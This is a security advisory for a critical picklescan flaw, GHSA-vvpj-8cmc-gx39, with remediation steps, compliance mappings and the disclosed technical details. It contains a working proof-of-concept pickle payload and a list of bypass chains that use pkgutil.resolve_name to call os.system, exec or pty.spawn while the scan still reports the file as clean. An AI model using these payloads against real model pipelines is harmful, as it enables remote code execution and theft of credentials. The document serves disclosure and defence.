GHSA-vvpj-8cmc-gx39: picklescan: security flaw enables exploitation

GHSA-vvpj-8cmc-gx39 CRITICAL
Published March 3, 2026
CISO Take

If your ML pipeline uses picklescan as the safety gate for pickle files — including HuggingFace model ingestion — that gate is completely bypassed. Every model scanned as CLEAN with picklescan <= 1.0.3 must be treated as potentially malicious. Upgrade to 1.0.4 immediately and layer fickling or safetensors enforcement as a secondary control while you audit recent model loads.

What is the risk?

Critical. CVSS 10.0 is warranted — exploitation is trivial (public PoC, 20 lines of Python), impact is full RCE on the scanning host, and the affected component (picklescan) is the primary security gate for pickle-based ML model ingestion across the industry. Exposure is broad: HuggingFace Hub, internal model registries, and any MLOps pipeline that loads PyTorch or scikit-learn models. The blocklist bypass is architectural — it cannot be partially mitigated; the entire _unsafe_globals list is rendered meaningless.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
picklescan pip < 1.0.4 1.0.4
413 3 dependents Pushed 1mo ago 69% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

How severe is it?

CVSS 3.1
10.0 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Changed
C High
I High
A High

What should I do?

6 steps
  1. Patch: upgrade picklescan to 1.0.4 immediately (adds pkgutil to _unsafe_globals).

  2. Add fickling as a parallel scanner — it independently blocks pkgutil and provides deeper semantic analysis.

  3. Prefer safetensors format for all new model artifacts; enforce safetensors-only ingestion for untrusted models.

  4. For model loading, sandbox with restricted Python execution (no stdlib imports) using tools like RestrictedPython or container-level seccomp profiles.

  5. Audit picklescan scan history — any CLEAN result from <= 1.0.3 on untrusted sources should be rescanned with 1.0.4 or fickling.

  6. Detection: monitor for pkgutil.resolve_name calls in Python processes that load models, and alert on any pickle load operation that spawns child processes.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity Art. 9 - Risk management system Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.1.4 - AI system supply chain A.6.2.6 - AI system supply chain security A.9.2 - AI system security A.9.3 - AI system security testing
NIST AI RMF
GOVERN 1.7 - Processes for AI risk management include managing risks from third-party entities MANAGE 2.2 - Mechanisms are in place and applied to sustain the value of AI across its lifecycle
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities LLM05:2025 - Improper Output Handling / Supply Chain Vulnerabilities

Frequently Asked Questions

What is GHSA-vvpj-8cmc-gx39?

If your ML pipeline uses picklescan as the safety gate for pickle files — including HuggingFace model ingestion — that gate is completely bypassed. Every model scanned as CLEAN with picklescan <= 1.0.3 must be treated as potentially malicious. Upgrade to 1.0.4 immediately and layer fickling or safetensors enforcement as a secondary control while you audit recent model loads.

Is GHSA-vvpj-8cmc-gx39 actively exploited?

No confirmed active exploitation of GHSA-vvpj-8cmc-gx39 has been reported, but organizations should still patch proactively.

How to fix GHSA-vvpj-8cmc-gx39?

1. Patch: upgrade picklescan to 1.0.4 immediately (adds pkgutil to _unsafe_globals). 2. Add fickling as a parallel scanner — it independently blocks pkgutil and provides deeper semantic analysis. 3. Prefer safetensors format for all new model artifacts; enforce safetensors-only ingestion for untrusted models. 4. For model loading, sandbox with restricted Python execution (no stdlib imports) using tools like RestrictedPython or container-level seccomp profiles. 5. Audit picklescan scan history — any CLEAN result from <= 1.0.3 on untrusted sources should be rescanned with 1.0.4 or fickling. 6. Detection: monitor for pkgutil.resolve_name calls in Python processes that load models, and alert on any pickle load operation that spawns child processes.

What systems are affected by GHSA-vvpj-8cmc-gx39?

This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, MLOps pipelines, model registries, HuggingFace integrations.

What is the CVSS score for GHSA-vvpj-8cmc-gx39?

GHSA-vvpj-8cmc-gx39 has a CVSS v3.1 base score of 10.0 (CRITICAL).

What is the AI security impact?

Affected AI Architectures

model servingtraining pipelinesMLOps pipelinesmodel registriesHuggingFace integrations

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0010.003 Model
AML.T0011.000 Unsafe AI Artifacts
AML.T0018.002 Embed Malware
AML.T0049 Exploit Public-Facing Application
AML.T0058 Publish Poisoned Models
AML.T0074 Masquerading
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Art. 15, Art. 9, Article 15, Article 9
ISO 42001: A.6.1.4, A.6.2.6, A.9.2, A.9.3
NIST AI RMF: GOVERN 1.7, MANAGE 2.2
OWASP LLM Top 10: LLM03:2025, LLM05:2025

What are the technical details?

Original Advisory

## Summary `pkgutil.resolve_name()` is a Python stdlib function that resolves any `"module:attribute"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely. This defeats picklescan's **entire blocklist concept** — every single entry in `_unsafe_globals` can be bypassed. ## Severity **Critical** (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### How It Works A pickle file uses two chained REDUCE calls: ``` 1. STACK_GLOBAL: push pkgutil.resolve_name 2. REDUCE: call resolve_name("os:system") → returns os.system function object 3. REDUCE: call the returned function("malicious command") → RCE ``` picklescan's opcode scanner sees: - `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → **NOT in blocklist** → CLEAN - The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → **invisible to scanner** The string `"os:system"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references. ### Decompiled Pickle (what the data actually does) ```python from pkgutil import resolve_name _var0 = resolve_name('os:system') # Returns the actual os.system function _var1 = _var0('malicious_command') # Calls os.system('malicious_command') result = _var1 ``` ### Confirmed Bypass Targets Every entry in picklescan's blocklist can be reached via resolve_name: | Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | `resolve_name("os:system")` | `os.system` | YES | CLEAN | | `resolve_name("builtins:exec")` | `builtins.exec` | YES | CLEAN | | `resolve_name("builtins:eval")` | `builtins.eval` | YES | CLEAN | | `resolve_name("subprocess:getoutput")` | `subprocess.getoutput` | YES | CLEAN | | `resolve_name("subprocess:getstatusoutput")` | `subprocess.getstatusoutput` | YES | CLEAN | | `resolve_name("subprocess:call")` | `subprocess.call` | YES (shell=True needed) | CLEAN | | `resolve_name("subprocess:check_call")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN | | `resolve_name("subprocess:check_output")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN | | `resolve_name("posix:system")` | `posix.system` | YES | CLEAN | | `resolve_name("cProfile:run")` | `cProfile.run` | YES | CLEAN | | `resolve_name("profile:run")` | `profile.run` | YES | CLEAN | | `resolve_name("pty:spawn")` | `pty.spawn` | YES | CLEAN | **Total:** 11+ confirmed RCE chains, all reporting CLEAN. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # resolve_name("os:system")("id") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL + sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system") + sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id") + b"." # STOP ) # picklescan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs os.system("id") → RCE pickle.loads(payload) ``` ### Why `pkgutil` Is Not Blocked picklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget. **Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list. ## Impact This is a **complete bypass** of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function. This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution ## Suggested Fix 1. **Immediate:** Add `pkgutil` to `_unsafe_globals`: ```python "pkgutil": {"resolve_name"}, ``` 2. **Also block similar resolution functions:** ```python "importlib": "*", "importlib.util": "*", ``` 3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider: - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `"module:function"`) - Treating unknown globals as dangerous by default - Switching to an allowlist model

Exploitation Scenario

An adversary targeting a company's LLM fine-tuning pipeline identifies that HuggingFace Hub is used to source base models and that picklescan gates model ingestion. They publish a modified PyTorch model to a public or compromised registry with a pickle payload that calls pkgutil.resolve_name('os:system') to execute a reverse shell. The CI/CD pipeline fetches the model, runs picklescan, receives CLEAN, and loads the model into the fine-tuning environment. At load time, the pickle payload executes, establishing a reverse shell with GPU cluster privileges — granting access to training data, model weights, API keys in environment variables, and potentially lateral movement into cloud infrastructure.

Weaknesses (CWE)

CWE-183 — Permissive List of Allowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
March 3, 2026
Last Modified
March 3, 2026
First Seen
March 24, 2026

Related Vulnerabilities